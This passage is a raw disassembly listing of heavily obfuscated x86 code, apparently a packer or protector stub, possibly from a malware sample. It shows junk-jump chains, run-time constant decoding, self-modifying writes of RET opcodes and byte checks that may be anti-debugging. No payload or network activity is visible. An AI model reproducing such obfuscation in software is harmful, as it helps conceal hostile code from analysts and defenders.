; START	OF FUNCTION CHUNK FOR sub_44E657

loc_4448B1:				; CODE XREF: sub_44E657:loc_44B6D1j
		jnz	loc_43A3CD
		mov	eax, [ebp-4]
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]

loc_4448C0:				; CODE XREF: sub_44E389-12F78j
		add	eax, 5
; END OF FUNCTION CHUNK	FOR sub_44E657
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_4448C3:				; CODE XREF: sub_441F76+BC5Aj
		jmp	loc_43A3C1
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
		jbe	loc_45171D
		jmp	loc_444A00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_4448D3:				; CODE XREF: sub_4463B7-35B4j
		jge	loc_45872C

loc_4448D9:				; CODE XREF: sub_445E83+58DCj
		jmp	loc_4582C4
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------

loc_4448DE:				; CODE XREF: dviuq5id:00448756j
		jmp	loc_453DC5
; ---------------------------------------------------------------------------
		ror	edx, 10h
		sbb	ebp, esi
		ror	ebp, 17h
		jmp	loc_458720
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_4448F0:				; CODE XREF: sub_441F76+10960j
		add	edi, 62F47955h
; END OF FUNCTION CHUNK	FOR sub_441F76
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_4448F6:				; CODE XREF: sub_447A8A-E29Dj
					; sub_452D9B-147A3j ...
		jmp	loc_447D62
; ---------------------------------------------------------------------------

loc_4448FB:				; CODE XREF: sub_447A8A-2FBAj
					; sub_44FE62+3529j
		pop	ecx
		push	offset sub_4411B6

loc_444901:				; CODE XREF: dviuq5id:0043EABCj
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_447A8A

; =============== S U B	R O U T	I N E =======================================



sub_444906	proc near		; CODE XREF: dviuq5id:00448251p
					; dviuq5id:00448333j

; FUNCTION CHUNK AT 00455443 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jz	loc_44FE53
		push	offset sub_441EFF
		jmp	loc_455443
sub_444906	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44491A:				; CODE XREF: dviuq5id:loc_454C8Aj
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		call	edx
		call	sub_44E66D
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_444927:				; CODE XREF: sub_44864B+5034j
		sbb	eax, ebx
		mov	edi, esi

loc_44492B:				; CODE XREF: sub_44864B:loc_452CDCj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_454649
		jmp	loc_457C83
; END OF FUNCTION CHUNK	FOR sub_44864B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_44493D:				; CODE XREF: sub_43E4A4+156ADj
		jmp	loc_4549AB
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
		sub	edi, 0BAD2A1DDh
		test	esi, 895183F3h
		jmp	loc_458BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_444953:				; CODE XREF: sub_451EEC-A3AAj
					; sub_451EEC:loc_44B45Bj
		mov	eax, 0CF0182F6h
		call	sub_453642
		rol	eax, 0Ch
		push	ecx
		push	0E6799288h
		pop	ecx
		sub	ecx, 0D6E8FBCCh
		jmp	loc_4463C6
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_444972:				; CODE XREF: sub_43938B:loc_45A022j
		jge	loc_444487

loc_444978:				; CODE XREF: dviuq5id:0043F8A1j
		jmp	loc_453A7A
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		popf
		shr	edx, 16h
		ror	eax, 3
		shl	esi, 2
		jmp	loc_444487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459E36

loc_44498C:				; CODE XREF: sub_459E36:loc_44473Bj
		xchg	ebx, [esp+4+var_4]
		push	86BC92A7h
		pop	edx
		and	edx, 0D5449D75h
		jmp	loc_43AAD2
; END OF FUNCTION CHUNK	FOR sub_459E36
; ---------------------------------------------------------------------------

loc_4449A0:				; DATA XREF: sub_44A15A+CD30o
		xor	eax, 0C0466FE6h
		sub	eax, 0D4ED6EC9h
		ror	eax, 14h
		mov	edx, [esp]
		jmp	loc_43EB68
; ---------------------------------------------------------------------------

loc_4449B7:				; CODE XREF: dviuq5id:loc_43C3FDj
		sub	eax, 4E6CECD6h
		test	eax, 4000000h
		jmp	loc_455188
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A90D

loc_4449C8:				; CODE XREF: sub_44A90D+13j
		jz	loc_44D762
		jmp	loc_43AD19
; END OF FUNCTION CHUNK	FOR sub_44A90D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_4449D3:				; CODE XREF: sub_43A160+171C2j
		jb	loc_44315A
		and	ecx, eax
		jmp	loc_448CC8
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_4449E0:				; CODE XREF: sub_44460F-19DAj
		or	ebx, 434772B4h
		and	ebx, 6E89046h
		add	ebx, 0F93F6FB9h
		sub	eax, ebx
		pop	ebx
		jl	loc_43919C
		jmp	loc_45477B
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_444A00:				; CODE XREF: dviuq5id:004448CEj
		and	ebx, 0B121A1Bh

; =============== S U B	R O U T	I N E =======================================



sub_444A06	proc near		; CODE XREF: sub_44118B:loc_44D7EBp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043FB12 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		mov	eax, edx
		jmp	loc_43FB12
sub_444A06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_444A14:				; CODE XREF: sub_453D79-2622j
		shr	eax, 5
		xchg	ebp, [ecx]
		jmp	loc_44FD7F
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------
		xchg	ecx, esi
		mov	esi, 0BB41BA44h
		jmp	sub_44A615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_444A2A:				; CODE XREF: sub_43C2DA:loc_45A5F9j
		test	edx, 0E9B38976h
		jmp	loc_44A517
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_264. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_444A36:				; CODE XREF: sub_44646F+13E3Aj
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_444A3B:				; CODE XREF: sub_457A3C+16j
		pop	ecx
		sub	ecx, 733E2FEBh
		js	loc_443B70
; END OF FUNCTION CHUNK	FOR sub_457A3C
; START	OF FUNCTION CHUNK FOR sub_459385

loc_444A48:				; CODE XREF: sub_459385-106C2j
		jmp	nullsub_361
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		js	loc_454BF4
		jnz	loc_441510
		jmp	loc_443B70

; =============== S U B	R O U T	I N E =======================================



sub_444A5E	proc near		; CODE XREF: dviuq5id:004438F7p
					; dviuq5id:004485E8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B390 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043EED7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044370E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444245 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045829B SIZE 00000012 BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		jb	loc_43B390
sub_444A5E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44460F

loc_444A68:				; CODE XREF: sub_44460F:loc_441503j
		mov	eax, [esp+0]
		push	edx
		call	sub_44FD8E
		jmp	loc_4508C7
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_444A76:				; CODE XREF: sub_44C6B8:loc_44FEDCj
		pop	ecx
		add	ecx, 0F46A7D84h
		sub	ecx, 2889A062h
		cmp	ecx, 88AF762Eh
		jmp	loc_43905D
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_444A8E:				; CODE XREF: sub_44F2F5-F799j
					; sub_43D83D+A798j
		jnb	sub_44514D
		push	esi

loc_444A95:				; CODE XREF: sub_44A94D:loc_44215Dj
		push	ebp
		pop	esi
		xchg	esi, [esp+0]
		mov	ebp, esp
		jmp	loc_43997B
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_444AA1:				; CODE XREF: sub_43938B+EBF0j
		jnz	loc_44D23E

loc_444AA7:				; CODE XREF: sub_456734-AC42j
		jmp	sub_44C20F
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_444AAC:				; CODE XREF: sub_43C2DA+E24Aj
		jmp	loc_44B4F5
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
		xchg	ebp, [eax]
		xor	edx, esi
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_444AB5:				; CODE XREF: sub_443AC1:loc_44762Aj
		jmp	loc_44D23B
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------

loc_444ABA:				; CODE XREF: dviuq5id:0043B106j
		jnp	locret_45544D
		jge	loc_43DD40
		mov	esi, ecx
		jmp	loc_43A37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_444ACD:				; CODE XREF: sub_447A8A:loc_43D5B4j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4448FB
		jmp	loc_448F5E
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------

locret_444ADB:				; CODE XREF: dviuq5id:loc_44B83Dj
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444ADC	proc near		; CODE XREF: sub_43A332+9j

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0043F88B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444165 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00451038 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00456D38 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00458E91 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ecx, [esp-8+arg_0]
		jmp	loc_458E91
sub_444ADC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444AEA:				; DATA XREF: sub_451FE0-3169o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_451BCE
		jmp	loc_43FD8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_444AF8:				; CODE XREF: sub_450686-107FAj
		jnz	loc_43D444
		cmp	esi, edx
		jmp	loc_448D09
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6FE

loc_444B05:				; CODE XREF: sub_44D6FE:loc_45518Ej
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_44D6FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453749

loc_444B07:				; CODE XREF: sub_453749j
		push	offset sub_4406E9
		jmp	loc_44DEE6
; END OF FUNCTION CHUNK	FOR sub_453749
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_444B11:				; CODE XREF: sub_440C61:loc_450925j
		mov	eax, ecx
		xchg	eax, [esp+0]
		push	0BF5AE34Bh
		xchg	edx, [esp+0]
		mov	ecx, edx
		jmp	loc_447C7C
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A133

loc_444B25:				; CODE XREF: sub_44A133-AE1Aj
		ja	loc_442652
		sub	ebp, 4C02C364h

loc_444B31:				; CODE XREF: dviuq5id:loc_455995j
		push	offset sub_44C335
		jmp	loc_458765
; END OF FUNCTION CHUNK	FOR sub_44A133
; ---------------------------------------------------------------------------
		jmp	loc_43C5B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_444B40:				; CODE XREF: sub_4585FC-58E1j
		push	offset loc_441A0C
		jmp	nullsub_327
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4530E7

loc_444B4A:				; CODE XREF: sub_4530E7:loc_44EDDBj
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	offset loc_4501F6
		jmp	loc_45779D
; END OF FUNCTION CHUNK	FOR sub_4530E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_444B59:				; CODE XREF: sub_44B99E:loc_44F134j
					; sub_44B99E+BB23j
		call	sub_440CB8
; END OF FUNCTION CHUNK	FOR sub_44B99E
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_444B5E:				; CODE XREF: sub_43FDFB+1193Dj
		jmp	loc_44A1EB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_444B63:				; CODE XREF: sub_459490-A15Dj
		jmp	loc_441534
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44119E

loc_444B68:				; CODE XREF: sub_44119E+C648j
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_44119E
; ---------------------------------------------------------------------------
		mov	edx, edi
		pop	edi
		mov	eax, [esp]
		push	edx
		call	sub_44E1C0
		push	6578D113h
		jmp	loc_44C552
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_444B83:				; CODE XREF: sub_44C592:loc_444C89j
		mov	byte ptr [eax],	0C3h
		jmp	loc_452ABB
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_444B8B:				; CODE XREF: sub_43B89D:loc_452ABBj
		xchg	ebx, [esp-4+arg_0]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp-8+arg_4]
		jmp	loc_44A3A1
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_444B99:				; CODE XREF: sub_454267+73j
		add	ebx, 99F0130h
		xchg	ebx, [esp+0]
		jmp	loc_458E65
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456734

loc_444BA7:				; CODE XREF: sub_456734-1D4C8j
		jz	loc_456E21
		not	ebx

loc_444BAF:				; CODE XREF: dviuq5id:loc_4469C4j
		mov	eax, 0CFF9C25h
		call	sub_44A58C
		push	offset sub_459521
		jmp	loc_454C85
; END OF FUNCTION CHUNK	FOR sub_456734
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_494. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_444BC4:				; CODE XREF: sub_44C2F6:loc_44934Fj
		jz	loc_445F10

loc_444BCA:				; CODE XREF: sub_439C09+9F00j
		jmp	loc_43D869
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------

loc_444BCF:				; CODE XREF: dviuq5id:loc_44C29Fj
		jz	loc_441859
		jmp	loc_44ABF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_444BDA:				; CODE XREF: sub_456A43-12EFFj
		xor	ebx, ebp

loc_444BDC:				; CODE XREF: sub_449B5B:loc_4540BBj
		push	ebp
		push	esi
		push	edi
		jmp	loc_44F30C
; END OF FUNCTION CHUNK	FOR sub_456A43

; =============== S U B	R O U T	I N E =======================================



sub_444BE4	proc near		; DATA XREF: sub_443354:loc_44AB15o

; FUNCTION CHUNK AT 0043B667 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B345 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00454F86 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045543E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004586C5 SIZE 0000001B BYTES

		push	0F259849Bh
		pop	eax
		sub	eax, 0A369C89Dh
		rol	eax, 1Eh
		add	eax, 393BDBA0h
		jmp	loc_44B345
sub_444BE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459D7E

loc_444BFE:				; CODE XREF: sub_459D7E:loc_455311j
		rol	edx, 0Ch
		or	edx, 0FA7E0586h
		add	edx, 54731FCh
		xchg	edx, [esp+0]
		jmp	loc_441C30
; END OF FUNCTION CHUNK	FOR sub_459D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454677

loc_444C15:				; CODE XREF: sub_454677+Bj
		and	edi, 18B4F2F1h
		jnz	loc_456CC6
; END OF FUNCTION CHUNK	FOR sub_454677
; START	OF FUNCTION CHUNK FOR sub_446181

loc_444C21:				; CODE XREF: sub_446181-A0ABj
		jmp	loc_449C6B
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
		jg	loc_457AC5
		sbb	edi, ecx
		jmp	loc_43F274
; ---------------------------------------------------------------------------

loc_444C33:				; CODE XREF: dviuq5id:00439DC6j
		jp	loc_43DEF3
		shr	ebp, 13h
		ror	ebp, 0Fh
		jo	loc_447E78
; START	OF FUNCTION CHUNK FOR sub_44BD8A

loc_444C45:				; CODE XREF: sub_44BD8A:loc_439DB3j
		rol	edi, 3
		add	edi, 9C4268D9h
		xchg	edi, [esp+0]
		jmp	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_44BD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_444C56:				; CODE XREF: sub_44E1C0-A9F1j
		pop	eax
		add	eax, ecx
		sbb	ecx, ebp
		and	ecx, ebp

loc_444C5D:				; CODE XREF: sub_440F1B:loc_4591A0j
		add	eax, edx
		push	offset sub_44DB43
		jmp	loc_44D4CF
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45327C

loc_444C69:				; CODE XREF: sub_45327C+21j
		push	2F8C3EE7h
		pop	esi
		rol	esi, 1Ch
		or	esi, 136DDB7Ah
		add	esi, 8C4642DAh
		jmp	loc_43A0C7
; END OF FUNCTION CHUNK	FOR sub_45327C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_444C83:				; CODE XREF: sub_44C592-10000j
		jl	loc_44C803

loc_444C89:				; CODE XREF: dviuq5id:0044DC7Cj
		jmp	loc_444B83
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------

loc_444C8E:				; CODE XREF: dviuq5id:0044DBDBj
		jmp	loc_43F0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA9A

loc_444C93:				; CODE XREF: sub_44CA9A-134C1j
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_44CA9A
; ---------------------------------------------------------------------------
		cmp	esi, 123E83B1h
		jmp	loc_43C983
; ---------------------------------------------------------------------------

loc_444CA3:				; DATA XREF: sub_452975+Bo
		xchg	edi, [esp]
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_44DF1C
		or	eax, eax
		jnz	loc_43A319
		jmp	loc_43CAFA
; ---------------------------------------------------------------------------

loc_444CBC:				; DATA XREF: sub_4534EE+8o
		xchg	edi, [esp]
		push	edi
		pop	ebp
		pop	edi
		push	39B37664h
		pop	eax
		jmp	loc_444140
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_444CCD:				; CODE XREF: sub_454228:loc_448FB7j
		push	0E6E10C1Dh
		pop	eax
		add	eax, 319D4C5Ah
		or	eax, 0C38BA2C9h
		rol	eax, 15h
		test	eax, 40h
		jmp	loc_459E71
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E84C

loc_444CED:				; CODE XREF: sub_43E84C:loc_4395A1j
					; dviuq5id:004395BBj
		xor	esi, 8F30A48Dh
		js	loc_43F03C
; END OF FUNCTION CHUNK	FOR sub_43E84C
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_444CF9:				; CODE XREF: sub_43AEAA+645Dj
		jmp	loc_451576
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
		rol	edi, 13h
		jmp	loc_43F036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DAE

loc_444D06:				; CODE XREF: sub_441DAE:loc_459560j
		xor	eax, 19F6D402h
		push	offset loc_4554B4
		jmp	loc_442D35
; END OF FUNCTION CHUNK	FOR sub_441DAE
; ---------------------------------------------------------------------------

loc_444D16:				; CODE XREF: dviuq5id:0045748Dj
		jnz	loc_45197D
		not	ebp
		jz	loc_4421BE
		jmp	loc_446217
; ---------------------------------------------------------------------------

loc_444D29:				; CODE XREF: dviuq5id:0044EB94j
		pop	edx
		add	edx, 89D2FADAh
		or	edx, 1E32F242h
		and	edx, 4923723Ch
		add	edx, 0B7231823h
		push	offset sub_4536F2
		jmp	locret_4509D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_444D4C:				; CODE XREF: sub_44E2D4:loc_458359j
		jge	loc_44ADA3

loc_444D52:				; CODE XREF: dviuq5id:0044912Ej
		jmp	loc_4517DA
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------
		shl	edx, 0Bh
		add	edi, ebx
		sbb	ecx, 0F8CBEB18h
		jmp	loc_44ADA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_444D67:				; CODE XREF: sub_446004+81EBj
		and	eax, 0F0C93B06h
		add	eax, 0F2D535EFh
		and	eax, 0C76F76DFh
		xor	eax, 9E24A14Ah
		add	eax, ebp
		call	sub_456DB4

loc_444D86:				; CODE XREF: dviuq5id:0044F085j
		test	eax, ebp
		jmp	loc_442342
; END OF FUNCTION CHUNK	FOR sub_446004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_444D8D:				; CODE XREF: sub_443F7F+14027j
		mov	byte ptr [eax],	0C3h
		jmp	loc_4599E9
; ---------------------------------------------------------------------------

loc_444D95:				; CODE XREF: sub_443F7F+15A6Bj
		mov	eax, [esp+14h+var_14]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+18h+var_18]
		call	sub_451BB7
		push	7024D48Ch
		jmp	loc_443D82
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_444DAD:				; CODE XREF: sub_4543C5-6A0Cj
		jnb	loc_43A822
		jmp	loc_44AE5F
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_444DB8:				; CODE XREF: sub_44D9C6:loc_439D28j
		mov	eax, [ebp-0Ch]
		mov	ecx, 3FBh
		xor	edx, edx
		div	ecx
		mov	[ebp-1Ch], edx
		push	3743B891h
		pop	eax
		jmp	loc_457831
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_444DD2:				; CODE XREF: sub_43FA59:loc_43CD3Aj
		sub	ecx, esi
		shl	eax, 0Dh
		jmp	loc_43976A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		not	esi
		add	ebp, eax
		jmp	sub_440495
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_444DE5:				; CODE XREF: sub_43F9E7:loc_44D167j
		jns	loc_44228A

loc_444DEB:				; CODE XREF: dviuq5id:loc_4528F9j
		add	esp, 0FFFFFFF8h
		push	ebx
		mov	[ebp-4], eax
		jmp	loc_45A23E
; END OF FUNCTION CHUNK	FOR sub_43F9E7

; =============== S U B	R O U T	I N E =======================================



sub_444DF7	proc near		; CODE XREF: sub_44AC2E:loc_44AC35p
					; dviuq5id:00451E4Cj

; FUNCTION CHUNK AT 00449CCF SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jnz	loc_449CCF
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_44AC35
		jmp	nullsub_47
sub_444DF7	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_317. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_444E15:				; CODE XREF: sub_45844D-18FC9j
		jmp	loc_44B327
; END OF FUNCTION CHUNK	FOR sub_45844D

; =============== S U B	R O U T	I N E =======================================



sub_444E1A	proc near		; CODE XREF: dviuq5id:004568D5j
					; sub_4585FC+76Ap

; FUNCTION CHUNK AT 0043AF52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E31D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E5B4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044698A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044898A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451A92 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00455D1F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004588E3 SIZE 00000007 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ecx
		push	73176B93h
		jmp	loc_43E5B4
sub_444E1A	endp

; ---------------------------------------------------------------------------

loc_444E29:				; CODE XREF: dviuq5id:0043E1A6j
		sub	edx, 9D3E55E4h
		add	edx, 9D7C5A9Dh
		xchg	edx, [esp]
		jmp	sub_456F43

; =============== S U B	R O U T	I N E =======================================



sub_444E3D	proc near		; CODE XREF: dviuq5id:0043B9CBj
					; sub_459490-FA52p
		xchg	edi, [esp+0]
		pop	edi
		pop	ebx
		retn
sub_444E3D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_444E43:				; CODE XREF: sub_447C0B+8j
		jmp	loc_44399A
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_444E48:				; CODE XREF: sub_459490:loc_441534j
					; sub_446B53+D649j
		rol	eax, 4
		push	eax
		jmp	loc_4481CC
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E487

loc_444E51:				; CODE XREF: sub_43E487+13j
		sub	ebx, 48BEE1F6h
		add	ebx, 7B1FF6C9h
		xchg	ebx, [esp+4+var_4]
		push	0
		push	edi
		push	2EA658EAh
		jmp	loc_4451F7
; END OF FUNCTION CHUNK	FOR sub_43E487

; =============== S U B	R O U T	I N E =======================================



sub_444E6D	proc near		; CODE XREF: sub_43E421+3FC1p
					; dviuq5id:0045718Bj

; FUNCTION CHUNK AT 004513A0 SIZE 0000000D BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	ecx
		sbb	eax, edx
		jmp	loc_4513A0
sub_444E6D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444E79:				; CODE XREF: dviuq5id:0044BAE3j
		call	sub_442BBA
		mov	[ebp-8], eax
		push	400h
		push	52659CFBh
		pop	eax
		sub	eax, 17C3CFCBh
		jmp	loc_45113F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_444E97:				; CODE XREF: sub_454228-17AA6j
		jz	loc_43ACA3
		jmp	loc_44D778
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------

loc_444EA2:				; CODE XREF: dviuq5id:0044206Dj
		sbb	edi, 0BE452F9Fh
		cmp	eax, 51B27E57h
		jmp	loc_43EE71
; ---------------------------------------------------------------------------

loc_444EB3:				; CODE XREF: dviuq5id:00442CC6j
		jnp	loc_4487DD
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_444EBA:				; CODE XREF: sub_4512BC:loc_442CB8j
		add	ecx, 441616E1h
		xchg	ecx, [esp+0]
		jmp	sub_451E0A
; END OF FUNCTION CHUNK	FOR sub_4512BC
